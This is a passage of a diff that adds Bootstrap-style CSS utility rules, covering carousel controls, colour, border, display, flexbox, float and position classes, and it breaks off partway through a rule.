+.carousel-fade .active.carousel-item-left,
+.carousel-fade .active.carousel-item-right {
+  opacity: 0;
+}
+
+.carousel-fade .carousel-item-next,
+.carousel-fade .carousel-item-prev,
+.carousel-fade .carousel-item.active,
+.carousel-fade .active.carousel-item-left,
+.carousel-fade .active.carousel-item-prev {
+  -webkit-transform: translateX(0);
+  transform: translateX(0);
+}
+
+@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {
+  .carousel-fade .carousel-item-next,
+  .carousel-fade .carousel-item-prev,
+  .carousel-fade .carousel-item.active,
+  .carousel-fade .active.carousel-item-left,
+  .carousel-fade .active.carousel-item-prev {
+    -webkit-transform: translate3d(0, 0, 0);
+    transform: translate3d(0, 0, 0);
+  }
+}
+
+.carousel-control-prev,
+.carousel-control-next {
+  position: absolute;
+  top: 0;
+  bottom: 0;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-align: center;
+  align-items: center;
+  -ms-flex-pack: center;
+  justify-content: center;
+  width: 15%;
+  color: #fff;
+  text-align: center;
+  opacity: 0.5;
+}
+
+.carousel-control-prev:hover, .carousel-control-prev:focus,
+.carousel-control-next:hover,
+.carousel-control-next:focus {
+  color: #fff;
+  text-decoration: none;
+  outline: 0;
+  opacity: .9;
+}
+
+.carousel-control-prev {
+  left: 0;
+}
+
+.carousel-control-next {
+  right: 0;
+}
+
+.carousel-control-prev-icon,
+.carousel-control-next-icon {
+  display: inline-block;
+  width: 20px;
+  height: 20px;
+  background: transparent no-repeat center center;
+  background-size: 100% 100%;
+}
+
+.carousel-control-prev-icon {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E");
+}
+
+.carousel-control-next-icon {
+  background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E");
+}
+
+.carousel-indicators {
+  position: absolute;
+  right: 0;
+  bottom: 10px;
+  left: 0;
+  z-index: 15;
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-pack: center;
+  justify-content: center;
+  padding-left: 0;
+  margin-right: 15%;
+  margin-left: 15%;
+  list-style: none;
+}
+
+.carousel-indicators li {
+  position: relative;
+  -ms-flex: 0 1 auto;
+  flex: 0 1 auto;
+  width: 30px;
+  height: 3px;
+  margin-right: 3px;
+  margin-left: 3px;
+  text-indent: -999px;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+
+.carousel-indicators li::before {
+  position: absolute;
+  top: -10px;
+  left: 0;
+  display: inline-block;
+  width: 100%;
+  height: 10px;
+  content: "";
+}
+
+.carousel-indicators li::after {
+  position: absolute;
+  bottom: -10px;
+  left: 0;
+  display: inline-block;
+  width: 100%;
+  height: 10px;
+  content: "";
+}
+
+.carousel-indicators .active {
+  background-color: #fff;
+}
+
+.carousel-caption {
+  position: absolute;
+  right: 15%;
+  bottom: 20px;
+  left: 15%;
+  z-index: 10;
+  padding-top: 20px;
+  padding-bottom: 20px;
+  color: #fff;
+  text-align: center;
+}
+
+.align-baseline {
+  vertical-align: baseline !important;
+}
+
+.align-top {
+  vertical-align: top !important;
+}
+
+.align-middle {
+  vertical-align: middle !important;
+}
+
+.align-bottom {
+  vertical-align: bottom !important;
+}
+
+.align-text-bottom {
+  vertical-align: text-bottom !important;
+}
+
+.align-text-top {
+  vertical-align: text-top !important;
+}
+
+.bg-primary {
+  background-color: #007bff !important;
+}
+
+a.bg-primary:hover, a.bg-primary:focus,
+button.bg-primary:hover,
+button.bg-primary:focus {
+  background-color: #0062cc !important;
+}
+
+.bg-secondary {
+  background-color: #6c757d !important;
+}
+
+a.bg-secondary:hover, a.bg-secondary:focus,
+button.bg-secondary:hover,
+button.bg-secondary:focus {
+  background-color: #545b62 !important;
+}
+
+.bg-success {
+  background-color: #28a745 !important;
+}
+
+a.bg-success:hover, a.bg-success:focus,
+button.bg-success:hover,
+button.bg-success:focus {
+  background-color: #1e7e34 !important;
+}
+
+.bg-info {
+  background-color: #17a2b8 !important;
+}
+
+a.bg-info:hover, a.bg-info:focus,
+button.bg-info:hover,
+button.bg-info:focus {
+  background-color: #117a8b !important;
+}
+
+.bg-warning {
+  background-color: #ffc107 !important;
+}
+
+a.bg-warning:hover, a.bg-warning:focus,
+button.bg-warning:hover,
+button.bg-warning:focus {
+  background-color: #d39e00 !important;
+}
+
+.bg-danger {
+  background-color: #dc3545 !important;
+}
+
+a.bg-danger:hover, a.bg-danger:focus,
+button.bg-danger:hover,
+button.bg-danger:focus {
+  background-color: #bd2130 !important;
+}
+
+.bg-light {
+  background-color: #f8f9fa !important;
+}
+
+a.bg-light:hover, a.bg-light:focus,
+button.bg-light:hover,
+button.bg-light:focus {
+  background-color: #dae0e5 !important;
+}
+
+.bg-dark {
+  background-color: #343a40 !important;
+}
+
+a.bg-dark:hover, a.bg-dark:focus,
+button.bg-dark:hover,
+button.bg-dark:focus {
+  background-color: #1d2124 !important;
+}
+
+.bg-white {
+  background-color: #fff !important;
+}
+
+.bg-transparent {
+  background-color: transparent !important;
+}
+
+.border {
+  border: 1px solid #dee2e6 !important;
+}
+
+.border-top {
+  border-top: 1px solid #dee2e6 !important;
+}
+
+.border-right {
+  border-right: 1px solid #dee2e6 !important;
+}
+
+.border-bottom {
+  border-bottom: 1px solid #dee2e6 !important;
+}
+
+.border-left {
+  border-left: 1px solid #dee2e6 !important;
+}
+
+.border-0 {
+  border: 0 !important;
+}
+
+.border-top-0 {
+  border-top: 0 !important;
+}
+
+.border-right-0 {
+  border-right: 0 !important;
+}
+
+.border-bottom-0 {
+  border-bottom: 0 !important;
+}
+
+.border-left-0 {
+  border-left: 0 !important;
+}
+
+.border-primary {
+  border-color: #007bff !important;
+}
+
+.border-secondary {
+  border-color: #6c757d !important;
+}
+
+.border-success {
+  border-color: #28a745 !important;
+}
+
+.border-info {
+  border-color: #17a2b8 !important;
+}
+
+.border-warning {
+  border-color: #ffc107 !important;
+}
+
+.border-danger {
+  border-color: #dc3545 !important;
+}
+
+.border-light {
+  border-color: #f8f9fa !important;
+}
+
+.border-dark {
+  border-color: #343a40 !important;
+}
+
+.border-white {
+  border-color: #fff !important;
+}
+
+.rounded {
+  border-radius: 0.25rem !important;
+}
+
+.rounded-top {
+  border-top-left-radius: 0.25rem !important;
+  border-top-right-radius: 0.25rem !important;
+}
+
+.rounded-right {
+  border-top-right-radius: 0.25rem !important;
+  border-bottom-right-radius: 0.25rem !important;
+}
+
+.rounded-bottom {
+  border-bottom-right-radius: 0.25rem !important;
+  border-bottom-left-radius: 0.25rem !important;
+}
+
+.rounded-left {
+  border-top-left-radius: 0.25rem !important;
+  border-bottom-left-radius: 0.25rem !important;
+}
+
+.rounded-circle {
+  border-radius: 50% !important;
+}
+
+.rounded-0 {
+  border-radius: 0 !important;
+}
+
+.clearfix::after {
+  display: block;
+  clear: both;
+  content: "";
+}
+
+.d-none {
+  display: none !important;
+}
+
+.d-inline {
+  display: inline !important;
+}
+
+.d-inline-block {
+  display: inline-block !important;
+}
+
+.d-block {
+  display: block !important;
+}
+
+.d-table {
+  display: table !important;
+}
+
+.d-table-row {
+  display: table-row !important;
+}
+
+.d-table-cell {
+  display: table-cell !important;
+}
+
+.d-flex {
+  display: -ms-flexbox !important;
+  display: flex !important;
+}
+
+.d-inline-flex {
+  display: -ms-inline-flexbox !important;
+  display: inline-flex !important;
+}
+
+@media (min-width: 576px) {
+  .d-sm-none {
+    display: none !important;
+  }
+  .d-sm-inline {
+    display: inline !important;
+  }
+  .d-sm-inline-block {
+    display: inline-block !important;
+  }
+  .d-sm-block {
+    display: block !important;
+  }
+  .d-sm-table {
+    display: table !important;
+  }
+  .d-sm-table-row {
+    display: table-row !important;
+  }
+  .d-sm-table-cell {
+    display: table-cell !important;
+  }
+  .d-sm-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-sm-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .d-md-none {
+    display: none !important;
+  }
+  .d-md-inline {
+    display: inline !important;
+  }
+  .d-md-inline-block {
+    display: inline-block !important;
+  }
+  .d-md-block {
+    display: block !important;
+  }
+  .d-md-table {
+    display: table !important;
+  }
+  .d-md-table-row {
+    display: table-row !important;
+  }
+  .d-md-table-cell {
+    display: table-cell !important;
+  }
+  .d-md-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-md-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .d-lg-none {
+    display: none !important;
+  }
+  .d-lg-inline {
+    display: inline !important;
+  }
+  .d-lg-inline-block {
+    display: inline-block !important;
+  }
+  .d-lg-block {
+    display: block !important;
+  }
+  .d-lg-table {
+    display: table !important;
+  }
+  .d-lg-table-row {
+    display: table-row !important;
+  }
+  .d-lg-table-cell {
+    display: table-cell !important;
+  }
+  .d-lg-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-lg-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .d-xl-none {
+    display: none !important;
+  }
+  .d-xl-inline {
+    display: inline !important;
+  }
+  .d-xl-inline-block {
+    display: inline-block !important;
+  }
+  .d-xl-block {
+    display: block !important;
+  }
+  .d-xl-table {
+    display: table !important;
+  }
+  .d-xl-table-row {
+    display: table-row !important;
+  }
+  .d-xl-table-cell {
+    display: table-cell !important;
+  }
+  .d-xl-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-xl-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+@media print {
+  .d-print-none {
+    display: none !important;
+  }
+  .d-print-inline {
+    display: inline !important;
+  }
+  .d-print-inline-block {
+    display: inline-block !important;
+  }
+  .d-print-block {
+    display: block !important;
+  }
+  .d-print-table {
+    display: table !important;
+  }
+  .d-print-table-row {
+    display: table-row !important;
+  }
+  .d-print-table-cell {
+    display: table-cell !important;
+  }
+  .d-print-flex {
+    display: -ms-flexbox !important;
+    display: flex !important;
+  }
+  .d-print-inline-flex {
+    display: -ms-inline-flexbox !important;
+    display: inline-flex !important;
+  }
+}
+
+.embed-responsive {
+  position: relative;
+  display: block;
+  width: 100%;
+  padding: 0;
+  overflow: hidden;
+}
+
+.embed-responsive::before {
+  display: block;
+  content: "";
+}
+
+.embed-responsive .embed-responsive-item,
+.embed-responsive iframe,
+.embed-responsive embed,
+.embed-responsive object,
+.embed-responsive video {
+  position: absolute;
+  top: 0;
+  bottom: 0;
+  left: 0;
+  width: 100%;
+  height: 100%;
+  border: 0;
+}
+
+.embed-responsive-21by9::before {
+  padding-top: 42.857143%;
+}
+
+.embed-responsive-16by9::before {
+  padding-top: 56.25%;
+}
+
+.embed-responsive-4by3::before {
+  padding-top: 75%;
+}
+
+.embed-responsive-1by1::before {
+  padding-top: 100%;
+}
+
+.flex-row {
+  -ms-flex-direction: row !important;
+  flex-direction: row !important;
+}
+
+.flex-column {
+  -ms-flex-direction: column !important;
+  flex-direction: column !important;
+}
+
+.flex-row-reverse {
+  -ms-flex-direction: row-reverse !important;
+  flex-direction: row-reverse !important;
+}
+
+.flex-column-reverse {
+  -ms-flex-direction: column-reverse !important;
+  flex-direction: column-reverse !important;
+}
+
+.flex-wrap {
+  -ms-flex-wrap: wrap !important;
+  flex-wrap: wrap !important;
+}
+
+.flex-nowrap {
+  -ms-flex-wrap: nowrap !important;
+  flex-wrap: nowrap !important;
+}
+
+.flex-wrap-reverse {
+  -ms-flex-wrap: wrap-reverse !important;
+  flex-wrap: wrap-reverse !important;
+}
+
+.flex-fill {
+  -ms-flex: 1 1 auto !important;
+  flex: 1 1 auto !important;
+}
+
+.flex-grow-0 {
+  -ms-flex-positive: 0 !important;
+  flex-grow: 0 !important;
+}
+
+.flex-grow-1 {
+  -ms-flex-positive: 1 !important;
+  flex-grow: 1 !important;
+}
+
+.flex-shrink-0 {
+  -ms-flex-negative: 0 !important;
+  flex-shrink: 0 !important;
+}
+
+.flex-shrink-1 {
+  -ms-flex-negative: 1 !important;
+  flex-shrink: 1 !important;
+}
+
+.justify-content-start {
+  -ms-flex-pack: start !important;
+  justify-content: flex-start !important;
+}
+
+.justify-content-end {
+  -ms-flex-pack: end !important;
+  justify-content: flex-end !important;
+}
+
+.justify-content-center {
+  -ms-flex-pack: center !important;
+  justify-content: center !important;
+}
+
+.justify-content-between {
+  -ms-flex-pack: justify !important;
+  justify-content: space-between !important;
+}
+
+.justify-content-around {
+  -ms-flex-pack: distribute !important;
+  justify-content: space-around !important;
+}
+
+.align-items-start {
+  -ms-flex-align: start !important;
+  align-items: flex-start !important;
+}
+
+.align-items-end {
+  -ms-flex-align: end !important;
+  align-items: flex-end !important;
+}
+
+.align-items-center {
+  -ms-flex-align: center !important;
+  align-items: center !important;
+}
+
+.align-items-baseline {
+  -ms-flex-align: baseline !important;
+  align-items: baseline !important;
+}
+
+.align-items-stretch {
+  -ms-flex-align: stretch !important;
+  align-items: stretch !important;
+}
+
+.align-content-start {
+  -ms-flex-line-pack: start !important;
+  align-content: flex-start !important;
+}
+
+.align-content-end {
+  -ms-flex-line-pack: end !important;
+  align-content: flex-end !important;
+}
+
+.align-content-center {
+  -ms-flex-line-pack: center !important;
+  align-content: center !important;
+}
+
+.align-content-between {
+  -ms-flex-line-pack: justify !important;
+  align-content: space-between !important;
+}
+
+.align-content-around {
+  -ms-flex-line-pack: distribute !important;
+  align-content: space-around !important;
+}
+
+.align-content-stretch {
+  -ms-flex-line-pack: stretch !important;
+  align-content: stretch !important;
+}
+
+.align-self-auto {
+  -ms-flex-item-align: auto !important;
+  align-self: auto !important;
+}
+
+.align-self-start {
+  -ms-flex-item-align: start !important;
+  align-self: flex-start !important;
+}
+
+.align-self-end {
+  -ms-flex-item-align: end !important;
+  align-self: flex-end !important;
+}
+
+.align-self-center {
+  -ms-flex-item-align: center !important;
+  align-self: center !important;
+}
+
+.align-self-baseline {
+  -ms-flex-item-align: baseline !important;
+  align-self: baseline !important;
+}
+
+.align-self-stretch {
+  -ms-flex-item-align: stretch !important;
+  align-self: stretch !important;
+}
+
+@media (min-width: 576px) {
+  .flex-sm-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-sm-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-sm-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-sm-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-sm-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-sm-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-sm-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-sm-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-sm-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-sm-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-sm-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-sm-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-sm-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-sm-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-sm-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-sm-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-sm-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-sm-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-sm-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-sm-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-sm-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-sm-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-sm-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-sm-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-sm-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-sm-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-sm-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-sm-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-sm-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-sm-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-sm-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-sm-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-sm-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-sm-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .flex-md-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-md-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-md-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-md-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-md-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-md-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-md-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-md-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-md-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-md-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-md-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-md-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-md-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-md-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-md-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-md-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-md-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-md-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-md-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-md-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-md-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-md-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-md-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-md-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-md-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-md-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-md-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-md-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-md-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-md-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-md-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-md-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-md-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-md-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .flex-lg-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-lg-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-lg-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-lg-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-lg-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-lg-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-lg-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-lg-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-lg-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-lg-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-lg-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-lg-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-lg-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-lg-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-lg-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-lg-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-lg-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-lg-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-lg-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-lg-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-lg-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-lg-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-lg-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-lg-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-lg-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-lg-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-lg-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-lg-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-lg-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-lg-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-lg-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-lg-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-lg-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-lg-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .flex-xl-row {
+    -ms-flex-direction: row !important;
+    flex-direction: row !important;
+  }
+  .flex-xl-column {
+    -ms-flex-direction: column !important;
+    flex-direction: column !important;
+  }
+  .flex-xl-row-reverse {
+    -ms-flex-direction: row-reverse !important;
+    flex-direction: row-reverse !important;
+  }
+  .flex-xl-column-reverse {
+    -ms-flex-direction: column-reverse !important;
+    flex-direction: column-reverse !important;
+  }
+  .flex-xl-wrap {
+    -ms-flex-wrap: wrap !important;
+    flex-wrap: wrap !important;
+  }
+  .flex-xl-nowrap {
+    -ms-flex-wrap: nowrap !important;
+    flex-wrap: nowrap !important;
+  }
+  .flex-xl-wrap-reverse {
+    -ms-flex-wrap: wrap-reverse !important;
+    flex-wrap: wrap-reverse !important;
+  }
+  .flex-xl-fill {
+    -ms-flex: 1 1 auto !important;
+    flex: 1 1 auto !important;
+  }
+  .flex-xl-grow-0 {
+    -ms-flex-positive: 0 !important;
+    flex-grow: 0 !important;
+  }
+  .flex-xl-grow-1 {
+    -ms-flex-positive: 1 !important;
+    flex-grow: 1 !important;
+  }
+  .flex-xl-shrink-0 {
+    -ms-flex-negative: 0 !important;
+    flex-shrink: 0 !important;
+  }
+  .flex-xl-shrink-1 {
+    -ms-flex-negative: 1 !important;
+    flex-shrink: 1 !important;
+  }
+  .justify-content-xl-start {
+    -ms-flex-pack: start !important;
+    justify-content: flex-start !important;
+  }
+  .justify-content-xl-end {
+    -ms-flex-pack: end !important;
+    justify-content: flex-end !important;
+  }
+  .justify-content-xl-center {
+    -ms-flex-pack: center !important;
+    justify-content: center !important;
+  }
+  .justify-content-xl-between {
+    -ms-flex-pack: justify !important;
+    justify-content: space-between !important;
+  }
+  .justify-content-xl-around {
+    -ms-flex-pack: distribute !important;
+    justify-content: space-around !important;
+  }
+  .align-items-xl-start {
+    -ms-flex-align: start !important;
+    align-items: flex-start !important;
+  }
+  .align-items-xl-end {
+    -ms-flex-align: end !important;
+    align-items: flex-end !important;
+  }
+  .align-items-xl-center {
+    -ms-flex-align: center !important;
+    align-items: center !important;
+  }
+  .align-items-xl-baseline {
+    -ms-flex-align: baseline !important;
+    align-items: baseline !important;
+  }
+  .align-items-xl-stretch {
+    -ms-flex-align: stretch !important;
+    align-items: stretch !important;
+  }
+  .align-content-xl-start {
+    -ms-flex-line-pack: start !important;
+    align-content: flex-start !important;
+  }
+  .align-content-xl-end {
+    -ms-flex-line-pack: end !important;
+    align-content: flex-end !important;
+  }
+  .align-content-xl-center {
+    -ms-flex-line-pack: center !important;
+    align-content: center !important;
+  }
+  .align-content-xl-between {
+    -ms-flex-line-pack: justify !important;
+    align-content: space-between !important;
+  }
+  .align-content-xl-around {
+    -ms-flex-line-pack: distribute !important;
+    align-content: space-around !important;
+  }
+  .align-content-xl-stretch {
+    -ms-flex-line-pack: stretch !important;
+    align-content: stretch !important;
+  }
+  .align-self-xl-auto {
+    -ms-flex-item-align: auto !important;
+    align-self: auto !important;
+  }
+  .align-self-xl-start {
+    -ms-flex-item-align: start !important;
+    align-self: flex-start !important;
+  }
+  .align-self-xl-end {
+    -ms-flex-item-align: end !important;
+    align-self: flex-end !important;
+  }
+  .align-self-xl-center {
+    -ms-flex-item-align: center !important;
+    align-self: center !important;
+  }
+  .align-self-xl-baseline {
+    -ms-flex-item-align: baseline !important;
+    align-self: baseline !important;
+  }
+  .align-self-xl-stretch {
+    -ms-flex-item-align: stretch !important;
+    align-self: stretch !important;
+  }
+}
+
+.float-left {
+  float: left !important;
+}
+
+.float-right {
+  float: right !important;
+}
+
+.float-none {
+  float: none !important;
+}
+
+@media (min-width: 576px) {
+  .float-sm-left {
+    float: left !important;
+  }
+  .float-sm-right {
+    float: right !important;
+  }
+  .float-sm-none {
+    float: none !important;
+  }
+}
+
+@media (min-width: 768px) {
+  .float-md-left {
+    float: left !important;
+  }
+  .float-md-right {
+    float: right !important;
+  }
+  .float-md-none {
+    float: none !important;
+  }
+}
+
+@media (min-width: 992px) {
+  .float-lg-left {
+    float: left !important;
+  }
+  .float-lg-right {
+    float: right !important;
+  }
+  .float-lg-none {
+    float: none !important;
+  }
+}
+
+@media (min-width: 1200px) {
+  .float-xl-left {
+    float: left !important;
+  }
+  .float-xl-right {
+    float: right !important;
+  }
+  .float-xl-none {
+    float: none !important;
+  }
+}
+
+.position-static {
+  position: static !important;
+}
+
+.position-relative {
+  position: relative !important;
+}
+
+.position-absolute {
+  position: absolute !important;
+}
+
+.position-fixed {
+  position: fixed !important;
+}
+
+.position-sticky {
+  position: -webkit-sticky !important;
+  position: sticky !important;
+}
+
+.fixed-top {
+  position: fixed;
+  top: 0;
+  right: 0;
+  left: 0;
+  z-index: 1030;
+}
+
+.fixed-bottom {
